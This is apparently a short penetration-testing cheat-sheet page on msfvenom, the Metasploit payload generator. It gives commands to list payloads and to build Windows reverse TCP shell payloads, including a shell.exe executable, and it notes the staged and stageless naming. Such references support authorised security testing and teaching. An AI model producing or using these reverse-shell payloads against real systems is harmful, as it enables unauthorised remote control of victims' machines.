Msfvenom
Msfvenom is the combination of payload generation and encoding. How to use msfvenom · rapid7/metasploit-framework Wiki · GitHub
Show available payloads
1
msfvenom -l payloads
Copied!
Generate shell examples
1
msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port>
2
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe > shell.exe
Copied!

Stageless vs. staged payloads

Stageless
1
shell_reverse_tcp
Copied!
Staged
1
shell/reverse_tcp
Copied!
Copy link
Edit on GitHub